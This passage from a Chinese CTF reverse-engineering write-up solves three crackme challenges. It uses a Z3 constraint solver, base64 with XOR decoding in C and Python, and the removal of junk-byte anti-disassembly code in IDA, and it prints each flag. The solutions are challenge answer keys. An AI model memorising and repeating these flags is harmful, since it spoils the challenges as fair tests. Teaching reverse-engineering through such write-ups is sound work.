        590 * x22 + 146 * x21 + 452 * x20 + 448 * x19 + 212 * x18 + 133 * x17 + 907 * x16 + 230 * x15 + 456 * x14 + 578 * x13 + 751 * x12 + 936 * x11 + 265 * x10 + 701 * x9 + 932 * x8 + 377 * x7 + 463 * x6 + 956 * x5 + 937 * x4 + 858 * x1 + 609 * x0 + 847 * x2 + 192 * x3 + 217 * x23 == 1341461)

    solver.add(
        654 * x22 + 828 * x21 + 474 * x20 + 603 * x19 + 494 * x18 + 213 * x17 + 998 * x16 + 307 * x15 + 790 * x14 + 814 * x13 + 448 * x12 + 987 * x11 + 781 * x10 + 447 * x9 + 833 * x8 + 484 * x7 + 458 * x6 + 396 * x5 + 521 * x4 + 738 * x3 + 200 * x2 + 231 * x1 + 721 * x0 + 817 * x23 == 1297964)

    solver.add(
        306 * x22 + 552 * x19 + 842 * x18 + 704 * x17 + 799 * x16 + 240 * x15 + 477 * x14 + 665 * x13 + 668 * x12 + 346 * x11 + 675 * x10 + 480 * x9 + 106 * x8 + 156 * x7 + 405 * x6 + 774 * x5 + 442 * x4 + 504 * x3 + 868 * x2 + (
                x1 * pow(2, 7))
        + 280 * x0 + 849 * x20 + 144 * x21 + 122 * x23 == 1106164)

    solver.add(
        329 * x22 + 374 * x21 + 663 * x20 + 284 * x19 + 372 * x18 + 745 * x17 + 541 * x16 + 803 * x15 + 280 * x14 + 898 * x13 + 479 * x12 + 845 * x11 + 901 * x10 + 741 * x9 + 383 * x8 + 624 * x7 + 213 * x6 + 762 * x5 + 601 * x4 + 360 * x3 + 504 * x0 + 286 * x1 + 320 * x2 + 934 * x23 == 1223627)

    solver.add(
        770 * x22 + 860 * x21 + 264 * x18 + 579 * x17 + 994 * x16 + 198 * x15 + 319 * x14 + 505 * x13 + 209 * x12 + 119 * x11 + 851 * x10 + 124 * x9 + 124 * x8 + 726 * x7 + 484 * x6 + 282 * x5 + 438 * x4 + 762 * x3 + 395 * x2 + 584 * x1 + 672 * x0 + 759 * x19 + 160 * x20 + 480 * x23 == 1050611)

    solver.add(
        122 * x22 + 478 * x21 + 464 * x20 + 651 * x19 + 137 * x18 + 421 * x17 + 672 * x16 + 115 * x15 + 939 * x14 + 308 * x13 + 536 * x12 + 198 * x11 + 732 * x10 + 883 * x9 + 494 * x8 + 966 * x7 + 187 * x6 + 262 * x5 + 212 * x4 + 621 * x3 + 936 * x2 + 108 * x1 + 393 * x0 + 290 * x23 == 1052881)

    solver.add(
        547 * x22 + 984 * x21 + 403 * x20 + 946 * x19 + 224 * x18 + 943 * x17 + 226 * x16 + 296 * x11 + 611 * x10 + 181 * x9 + 911 * x8 + 712 * x7 + 482 * x6 + 901 * x5 + 817 * x4 + 383 * x1 + 369 * x0 + 598 * x2 + 127 * x3 + 425 * x12 + 160 * x13 + 782 * x14 + 320 * x15 + 559 * x23 == 1156505)

    solver.add(
        118 * x22 + 180 * x21 + 881 * x20 + 901 * x19 + 962 * x18 + 988 * x17 + 178 * x16 + 978 * x15 + 456 * x14 + 275 * x13 + 756 * x12 + 360 * x11 + 241 * x10 + 796 * x9 + 914 * x8 + 482 * x7 + 968 * x6 + 603 * x5 + 940 * x4 + 569 * x3 + 953 * x0 + 461 * x1 + 320 * x2 + 531 * x23 == 1386320)

    solver.add(
        683 * x22 + 871 * x19 + 367 * x18 + 112 * x17 + 675 * x16 + 157 * x15 + 974 * x14 + 226 * x11 + 727 * x10 + 132 * x9 + 609 * x8 + 652 * x7 + 863 * x6 + 125 * x5 + 770 * x4 + 262 * x3 + 451 * x2 + 954 * x1 + 414 * x0 + 315 * x12 + 255 * x13 + 628 * x20 + 640 * x21 + 169 * x23 == 1114006)

    solver.add(
        708 * x22 + 474 * x21 + 867 * x20 + 480 * x19 + 845 * x18 + 121 * x17 + 331 * x16 + 914 * x15 + 988 * x14 + 259 * x13 + 375 * x12 + 832 * x9 + 114 * x8 + 767 * x7 + 526 * x6 + (
                x5 * pow(2, 9))
        + 815 * x4 + 195 * x3 + 249 * x2 + 281 * x1 + 851 * x0 + 979 * x10 + 255 * x11 + 947 * x23 == 1237822)

    solver.add(
        895 * x22 + 622 * x21 + 399 * x20 + 806 * x19 + 660 * x18 + 707 * x17 + 839 * x16 + 485 * x15 + 240 * x14 + 990 * x13 + 396 * x12 + 481 * x11 + 381 * x10 + 177 * x9 + 866 * x8 + 134 * x7 + 208 * x6 + 362 * x5 + 840 * x4 + 237 * x3 + 419 * x2 + 238 * x1 + 755 * x0 + 121 * x23 == 1193974)

    solver.add(
        735 * x22 + 560 * x21 + 158 * x20 + 137 * x19 + 516 * x16 + 403 * x15 + 297 * x14 + 913 * x13 + 767 * x12 + 504 * x11 + 858 * x10 + 287 * x9 + 796 * x8 + 451 * x7 + 978 * x6 + 460 * x5 + 819 * x4 + 696 * x3 + 998 * x2 + 704 * x1 + 580 * x0 + 644 * x17 + 384 * x18 + 112 * x23 == 1304537)

    solver.add(
        555 * x22 + 704 * x21 + 981 * x20 + 997 * x19 + 436 * x18 + 173 * x17 + 920 * x16 + 645 * x15 + 589 * x14 + 613 * x13 + 734 * x12 + 688 * x11 + 551 * x10 + 172 * x9 + 442 * x8 + 830 * x7 + 878 * x6 + 307 * x5 + 227 * x4 + 332 * x3 + 537 * x2 + 104 * x1 + 994 * x0 + 775 * x23 == 1264632)

    solver.add(
        379 * x22 + 918 * x21 + 613 * x20 + 827 * x19 + 472 * x18 + 719 * x17 + 821 * x16 + 370 * x15 + 452 * x14 + 435 * x13 + 901 * x12 + 171 * x11 + 221 * x10 + 666 * x9 + 477 * x8 + 398 * x7 + 371 * x6 + 392 * x5 + 958 * x4 + 561 * x3 + 509 * x2 + 282 * x1 + 104 * x0 + 590 * x23 == 1157687)

    solver.add(322 * x22 + 750 * x21 + 261 * x20 + 486 * x19 + (x18 * pow(2, 9))
               + 941 * x17 + 745 * x16 + 313 * x13 + 283 * x12 + 619 * x11 + 315 * x10 + 705 * x9 + 450 * x8 + 772 * x7 + 307 * x6 + 623 * x5 + 797 * x4 + 674 * x3 + 601 * x2 + 621 * x1 + 552 * x0 + 319 * x14 + 255 * x15 + 242 * x23 == 1212043)

    solver.add(
        737 * x22 + 589 * x21 + 559 * x20 + 654 * x19 + 468 * x18 + 312 * x17 + 441 * x16 + 499 * x15 + 817 * x14 + 101 * x13 + 343 * x12 + 229 * x11 + 275 * x10 + 837 * x9 + 874 * x8 + 761 * x7 + 756 * x6 + 375 * x5 + 135 * x4 + 345 * x3 + 899 * x2 + 984 * x1 + 263 * x0 + 114 * x23 == 1188462)

    solver.add(
        911 * x22 + 124 * x21 + 445 * x20 + 177 * x19 + 520 * x18 + 620 * x17 + 122 * x16 + 731 * x15 + 222 * x14 + 571 * x13 + 494 * x12 + 806 * x11 + 990 * x10 + 783 * x9 + 202 * x8 + 111 * x7 + 589 * x6 + 968 * x5 + 878 * x4 + 758 * x3 + 789 * x2 + 684 * x1 + 961 * x0 + 550 * x23 == 1340704)

    solver.add(
        125 * x22 + 108 * x21 + 828 * x20 + 616 * x19 + 989 * x18 + 598 * x17 + 993 * x16 + 313 * x15 + 335 * x14 + 386 * x13 + 591 * x12 + 508 * x11 + 270 * x10 + 537 * x9 + 465 * x8 + 596 * x7 + 876 * x6 + 881 * x5 + 121 * x4 + 536 * x3 + 101 * x2 + 514 * x1 + 900 * x0 + 188 * x23 == 1188045)

    solver.add(
        509 * x22 + 971 * x21 + 442 * x20 + 665 * x19 + 721 * x18 + 612 * x17 + 132 * x16 + 315 * x15 + 746 * x14 + 965 * x13 + 989 * x12 + 540 * x11 + 299 * x10 + 549 * x9 + 632 * x8 + 846 * x7 + 933 * x6 + 610 * x5 + 434 * x4 + 627 * x3 + 766 * x2 + 776 * x1 + 931 * x0 + 776 * x23 == 1424726)

    solver.add(
        991 * x22 + 591 * x21 + 966 * x20 + 290 * x19 + 145 * x18 + 839 * x17 + 143 * x16 + 428 * x15 + 971 * x14 + 239 * x13 + 428 * x12 + 939 * x11 + 853 * x10 + 319 * x9 + 184 * x8 + 833 * x5 + 983 * x4 + 306 * x3 + 880 * x2 + 644 * x1 + 197 * x0 + 610 * x6 + 144 * x7 + 968 * x23 == 1253549)

    solver.add(
        379 * x22 + 396 * x19 + 669 * x18 + 218 * x17 + 467 * x16 + 109 * x15 + 353 * x14 + 139 * x13 + 305 * x12 + 534 * x11 + 688 * x10 + 620 * x9 + 629 * x6 + 468 * x5 + 633 * x4 + 275 * x3 + 425 * x2 + 778 * x1 + 286 * x0 + 928 * x7 + 144 * x8 + 756 * x20 + 255 * x21 + 296 * x23 == 1018834)

    solver.add(
        281 * x22 + 749 * x21 + 122 * x20 + 651 * x19 + 336 * x18 + 803 * x17 + 853 * x16 + 886 * x15 + 623 * x14 + 273 * x13 + 650 * x12 + 452 * x11 + 859 * x10 + 933 * x9 + 426 * x8 + 596 * x7 + 227 * x6 + 586 * x5 + 510 * x4 + 309 * x3 + 934 * x2 + 297 * x1 + 833 * x0 + 817 * x23 == 1282803)

    solver.add(
        179 * x22 + 969 * x21 + 361 * x20 + 609 * x19 + 778 * x18 + 391 * x17 + 717 * x16 + 426 * x15 + 878 * x14 + 765 * x13 + 651 * x12 + 364 * x11 + 297 * x10 + 924 * x9 + 632 * x8 + 414 * x7 + 302 * x6 + 168 * x5 + 781 * x4 + 131 * x3 + 405 * x2 + 750 * x1 + 162 * x0 + 888 * x23 == 1168299)

    solver.add(
        349 * x22 + 895 * x21 + 660 * x20 + 733 * x19 + 217 * x18 + 367 * x17 + 188 * x16 + 167 * x15 + 905 * x14 + 593 * x13 + 199 * x12 + 266 * x11 + 813 * x10 + 382 * x9 + 421 * x8 + 233 * x7 + 526 * x6 + 745 * x5 + 900 * x4 + 155 * x3 + 752 * x0 + 658 * x1 + 144 * x2 + 651 * x23 == 1045694)

    solver.add(
        319 * x22 + 125 * x21 + 526 * x20 + 301 * x19 + 396 * x18 + 767 * x17 + 339 * x16 + 202 * x15 + 271 * x14 + 583 * x13 + 172 * x12 + 216 * x11 + 395 * x10 + 751 * x9 + 136 * x8 + 317 * x7 + 510 * x6 + 650 * x5 + 206 * x4 + 794 * x3 + 642 * x2 + 611 * x1 + 580 * x0 + 439 * x23 == 968455)

    solver.add(
        652 * x22 + 811 * x21 + 356 * x20 + 891 * x19 + 508 * x18 + 562 * x17 + 286 * x16 + 418 * x15 + 369 * x14 + 109 * x13 + 230 * x12 + 216 * x11 + 308 * x10 + 530 * x9 + 532 * x8 + 259 * x7 + 378 * x6 + 448 * x5 + 852 * x4 + 416 * x3 + 996 * x2 + 330 * x1 + 875 * x0 + 492 * x23 == 1084093)

    solver.add(
        484 * x22 + 897 * x21 + 411 * x20 + 936 * x19 + 454 * x18 + 464 * x17 + 836 * x16 + 651 * x15 + 822 * x14 + 761 * x13 + 184 * x12 + 333 * x11 + 413 * x10 + 571 * x9 + 624 * x8 + 946 * x7 + 411 * x6 + 355 * x5 + 540 * x4 + 785 * x3 + 317 * x2 + 363 * x1 + 740 * x0 + 931 * x23 == 1296107)

    solver.add(
        959 * x22 + 227 * x21 + 663 * x20 + 109 * x19 + 861 * x18 + 926 * x17 + 415 * x16 + 207 * x15 + 174 * x14 + 248 * x13 + 756 * x12 + 326 * x11 + 178 * x10 + 896 * x9 + 575 * x8 + 472 * x7 + 747 * x6 + 457 * x5 + 200 * x4 + 853 * x3 + 121 * x2 + 814 * x1 + 627 * x0 + 958 * x23 == 1173526)

    solver.add(
        761 * x22 + 219 * x21 + 182 * x20 + 950 * x19 + 237 * x18 + 582 * x17 + 200 * x16 + 603 * x15 + 375 * x14 + 687 * x13 + 569 * x12 + 725 * x11 + 976 * x10 + 724 * x9 + 764 * x8 + 828 * x7 + 604 * x6 + 958 * x5 + 610 * x4 + 254 * x3 + 906 * x2 + 486 * x1 + 334 * x0 + 571 * x23 == 1329741)

    solver.add(939 * x22 + 177 * x21 + 254 * x20 + (x19 * pow(2, 9))
               + 864 * x18 + 373 * x15 + 251 * x14 + 969 * x13 + 599 * x12 + 312 * x11 + 726 * x10 + 564 * x9 + 210 * x8 + 919 * x7 + 694 * x6 + 250 * x5 + 440 * x4 + 973 * x3 + 544 * x2 + 167 * x1 + 262 * x0 + 663 * x16 + 160 * x17 + 533 * x23 == 1165252)

    solver.add(
        342 * x22 + 758 * x21 + 966 * x20 + 641 * x19 + 410 * x18 + 218 * x17 + 827 * x16 + 389 * x15 + 669 * x14 + 977 * x13 + 493 * x12 + 642 * x11 + 682 * x10 + 432 * x9 + 541 * x8 + 517 * x7 + 379 * x6 + 629 * x5 + 995 * x4 + 822 * x3 + 916 * x2 + 648 * x1 + 168 * x0 + 123 * x23 == 1369613)

    solver.add(
        315 * x22 + 862 * x21 + 616 * x20 + 578 * x19 + 612 * x18 + 366 * x17 + 834 * x16 + 574 * x15 + 190 * x14 + 712 * x13 + 350 * x12 + 301 * x11 + 431 * x10 + 261 * x7 + 980 * x6 + 468 * x5 + 172 * x4 + 936 * x3 + 781 * x2 + 298 * x1 + 333 * x0 + 968 * x8 + 513 * x9 + 197 * x23 == 1147341)

    solver.add(
        729 * x22 + 988 * x21 + 143 * x20 + 379 * x19 + 275 * x18 + 435 * x17 + 435 * x16 + 121 * x15 + 238 * x14 + 185 * x13 + 289 * x12 + 191 * x11 + 398 * x10 + 423 * x9 + 249 * x8 + 312 * x5 + 992 * x4 + 311 * x3 + 749 * x2 + 977 * x1 + 413 * x0 + 225 * x6 + 192 * x7 + 788 * x23 == 928560)

    solver.add(
        529 * x22 + 307 * x21 + 274 * x20 + 597 * x19 + 735 * x18 + 167 * x15 + 556 * x14 + 487 * x13 + 945 * x12 + 950 * x11 + 650 * x10 + 342 * x9 + 670 * x8 + 727 * x7 + 204 * x6 + 104 * x5 + 549 * x4 + 416 * x3 + 114 * x2 + 531 * x1 + 444 * x0 + 848 * x16 + 288 * x17 + 453 * x23 == 1139652)

    solver.add(
        741 * x20 + 808 * x19 + 728 * x18 + 507 * x17 + 346 * x16 + 620 * x15 + 499 * x14 + 211 * x13 + 250 * x12 + 305 * x11 + 344 * x10 + 577 * x9 + 976 * x8 + 193 * x7 + 101 * x6 + 664 * x5 + 680 * x4 + 712 * x3 + 610 * x2 + 348 * x1 + 449 * x0 + 975 * x21 + 513 * x22 + 491 * x23 == 1162521)

    solver.add(
        974 * x22 + 861 * x21 + 134 * x20 + 777 * x19 + 580 * x18 + 351 * x17 + 180 * x16 + 574 * x15 + 377 * x14 + 271 * x13 + 113 * x12 + 739 * x11 + 722 * x10 + 811 * x9 + 819 * x8 + 979 * x7 + 419 * x6 + 737 * x5 + 176 * x4 + 878 * x3 + 770 * x2 + 613 * x1 + 479 * x0 + 543 * x23 == 1289668)

    solver.add(
        435 * x22 + 122 * x21 + 407 * x20 + 969 * x19 + 223 * x18 + 264 * x17 + 937 * x16 + 474 * x15 + 728 * x14 + 652 * x13 + 633 * x12 + 873 * x11 + 383 * x10 + 145 * x9 + 557 * x8 + 731 * x7 + 804 * x6 + 968 * x5 + 193 * x4 + 492 * x3 + 767 * x2 + 712 * x1 + 404 * x0 + 410 * x23 == 1279832)

    solver.add(
        712 * x22 + 271 * x21 + 398 * x20 + 515 * x19 + 514 * x18 + 555 * x17 + 988 * x16 + 217 * x15 + 538 * x14 + 475 * x13 + 113 * x12 + 557 * x11 + 123 * x10 + 656 * x9 + 166 * x6 + 636 * x5 + 665 * x4 + 122 * x3 + 331 * x2 + 290 * x1 + 396 * x0 + 732 * x7 + 511 * x8 + 577 * x23 == 1095191)

    solver.add(
        268 * x22 + 635 * x21 + 854 * x20 + 602 * x19 + 493 * x18 + 529 * x17 + 501 * x16 + 254 * x15 + 634 * x14 + 264 * x13 + 808 * x12 + 316 * x11 + 861 * x8 + 403 * x7 + 126 * x6 + 969 * x5 + 200 * x4 + 322 * x3 + 254 * x2 + 861 * x1 + 858 * x0 + 499 * x9 + 513 * x10 + 291 * x23 == 1159761)
    solver.add(
        140 * x22 + 645 * x21 + 109 * x20 + 108 * x19 + 761 * x18 + 808 * x17 + 391 * x16 + 392 * x15 + 496 * x14 + 441 * x13 + 125 * x12 + 585 * x11 + 747 * x10 + 649 * x9 + 585 * x8 + 962 * x7 + 798 * x6 + 609 * x5 + 560 * x4 + 590 * x3 + 564 * x2 + 396 * x1 + 598 * x0 + 747 * x23 == 1148424)

    print(solver.check())
    print(solver.model())
    return


def my_print():
    # 调用之前要手动将solver的结果做一个处理,转换成合法的字典对象存入data中:
    # (仍然可以利用正则提高效率)
    data = {
        'x11': 117,
        'x0': 102,
        'x20': 88,
        'x9': 121,
        'x13': 107,
        'x16': 119,
        'x17': 95,
        'x8': 95,
        'x14': 110,
        'x2': 97,
        'x22': 125,
        'x10': 48,
        'x1': 108,
        'x6': 48,
        'x23': 0,
        'x21': 33,
        'x18': 85,
        'x3': 103,
        'x12': 95,
        'x15': 111,
        'x19': 80,
        'x4': 123,
        'x5': 110,
        'x7': 119
    }
    # 按照 x 后的数字进行排序
    sorted_data = sorted(data.items(), key=lambda item: int(item[0][1:]))
    # 重组数据
    end_result = ''.join(chr(value) for key, value in sorted_data)
    # 输出转换好的flag
    print(end_result)


# 先调用该函数,把输出结果手动放入my_print()中
calculate()

# 然后运行该函数,输出flag
# my_print()

# 先注释掉my_print(),运行结果就是各个变量的解
# 然后注释掉calculate(),取消注释my_print(),运行结果就是flag

flag{n0w_y0u_know_UPX!}

题目2-eazy_64x

用IDA打开,看到输入了长为20的字符串:

然后将字符串分割为3个一组的子串,并且最后一个分组是2个字符(因为总长20)

对每个子串(保存在dest中)调用encrypt()函数,进入其中,发现是一个标准的base64编码:

同时发现,题目尽管进行了3个字符一组的单独base64,但是每组都是标准的base64,并且base64本身就是3个一组进行编码(因为3\*8==4\*6,如果不理解请去看base64编码的原理讲解).

所以我们直接将密文进行统一的一遍base64解码即可,无需多此一举把他们一组一组的进行解码.

再往下看,还有一个get_trans()函数,进去发现要对base64编码后的字符串的每一个字符和0x68进行异或:

到此,我们才得到了密文,把他和全局变量glob去进行比较,所以最后的密文就在glob中,我们将其提取出来,反向操作即可:

这里使用C语言进行解密:

#include <stdio.h>
#include <ctype.h>
#include <stdint.h>


int main() {

    unsigned char glob[] = {
            50, 5, 16, 0, 50, 91, 27, 16, 48, 90,
            31, 31, 12, 5, 62, 14, 11, 5, 62, 90,
            50, 60, 33, 89, 50, 48, 88, 85
    };
    for (int i = 0; i < sizeof(glob) / sizeof(glob[0]); ++i) {
        putchar(glob[i] ^ 0x68);
    }
    // ZmxhZ3sxX2wwdmVfcmV2ZTI1ZX0=
    return 0;
}

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned char *encode(unsigned char *str, long str_len) {
    //需要输入字节流的长度,因为中间可能有0
    long len;
    unsigned char *res;
    int i, j;
//定义base64编码表
    unsigned char base64_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

//计算经过base64编码后的字符串长度
    if (str_len % 3 == 0)
        len = str_len / 3 * 4;
    else
        len = (str_len / 3 + 1) * 4;

    res = (unsigned char *) malloc(sizeof(unsigned char) * len + 1);
    res[len] = '\0';

//以3个8位字符为一组进行编码
    for (i = 0, j = 0; i < len - 2; j += 3, i += 4) {
        res[i] = base64_table[str[j] >> 2]; //取出第一个字符的前6位并找出对应的结果字符
        res[i + 1] = base64_table[(str[j] & 0x3) << 4 | (str[j + 1]
                >> 4)]; //将第一个字符的后位与第二个字符的前4位进行组合并找到对应的结果字符
        res[i + 2] = base64_table[(str[j + 1] & 0xf) << 2 | (str[j + 2]
                >> 6)]; //将第二个字符的后4位与第三个字符的前2位组合并找出对应的结果字符
        res[i + 3] = base64_table[str[j + 2] & 0x3f]; //取出第三个字符的后6位并找出结果字符
    }

    switch (str_len % 3) {
        case 1:
            res[i - 2] = '=';
            res[i - 1] = '=';
            break;
        case 2:
            res[i - 1] = '=';
            break;
    }
    return res;
}

unsigned char *decode(unsigned char *code) {
//根据base64表，以字符找到对应的十进制数据
    int table[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                   0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0,
                   63, 52, 53, 54, 55, 56, 57, 58,
                   59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0,
                   1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
                   13, 14, 15, 16, 17, 18, 19, 20, 21,
                   22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26,
                   27, 28, 29, 30, 31, 32, 33, 34, 35,
                   36, 37, 38, 39, 40, 41, 42, 43, 44,
                   45, 46, 47, 48, 49, 50, 51
    };
    long len;
    long str_len;
    unsigned char *res;
    int i, j;

//计算解码后的字符串长度
    len = strlen((char *) code);
//判断编码后的字符串后是否有=
    if (strstr((char *) code, "=="))
        str_len = len / 4 * 3 - 2;
    else if (strstr((char *) code, "="))
        str_len = len / 4 * 3 - 1;
    else
        str_len = len / 4 * 3;

    res = (unsigned char *) malloc(sizeof(unsigned char) * str_len + 1);
    res[str_len] = '\0';

//以4个字符为一位进行解码
    for (i = 0, j = 0; i < len - 2; j += 3, i += 4) {
        res[j] = ((unsigned char) table[code[i]]) << 2 |
                 (((unsigned char) table[code[i + 1]])
                         >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的后2位进行组合
        res[j + 1] = (((unsigned char) table[code[i + 1]]) << 4) |
                     (((unsigned char) table[code[i + 2]])
                             >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应bas464表的十进制数的后4位进行组合
        res[j + 2] = (((unsigned char) table[code[i + 2]]) << 6) |
                     ((unsigned char) table[code[i +
                                                 3]]); //取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
    }
    return res;
}


int main() {
    char enc[100] = "ZmxhZ3sxX2wwdmVfcmV2ZTI1ZX0=";
    char *dec;

    dec = (char *) decode((unsigned char *) enc);
    printf("decode result:\n%s\n", dec);
	// flag{1_l0ve_reve25e}
    free(dec);
    return 0;
}

或者用python也行,最后一步也可以用在线网站:

flag{1_l0ve_reve25e}

题目3-call_above_call

本题考点是花指令.

使用DIE查看发现是32位程序,使用针对32位的IDA打开.

发现有花指令,我们将addr1标签对应的那个脏字节(即call指令的首字节)patch掉,即改为nop指令,以让IDA正常分析:

patch后可以发现这段代码恢复正常了:

下面还有几个花指令,如法炮制,全都patch掉:

出现数据后,选中所有数据(如果不成功选中脏字节后面的第一个字节,再不行就选中整个函数,按p快捷键先重新转为函数)按c快捷键转为代码.

最后统一再在函数开头按p重新生成函数即可恢复正常:

可以看到原本的call之前也是一个call的脏字节,所以这题叫做call_above_call(

现在就能看C伪代码了.

首先输入了长为25的字符串:

然后在wuhuwuhu()函数中进行循环异或加密,然后就和密文enc进行比较了:

但是跳转到enc发现是一个指针,我们根据最后的end_m函数中的free(enc)也能知道.

再往前看,发现有个generate()函数:

abcdefg点进去看到是一个base编码的字符串,同时decode()函数似乎是一个base64解码:

我们又能找到encode()和标准字符表:

所以这就是一个base64编码.

那么我们只需要将密文进行base64解码(也可以动调得到),然后进行反向的循环异或即可得到flag,解密脚本:

import base64

enc = 'Cg0GHEtJF1pZBAo8O1dRFxI4JgAdF1JcfQ=='
enc = base64.b64decode(enc.encode()).decode()

flag = []
for i in enc:
    flag.append(ord(i))

for i in range(len(flag) - 2, -1, -1):
    flag[i] = flag[i] ^ flag[i + 1]

for i in flag:
    print(chr(i), end='')

flag{0yn4mic_d3bug_yyds!}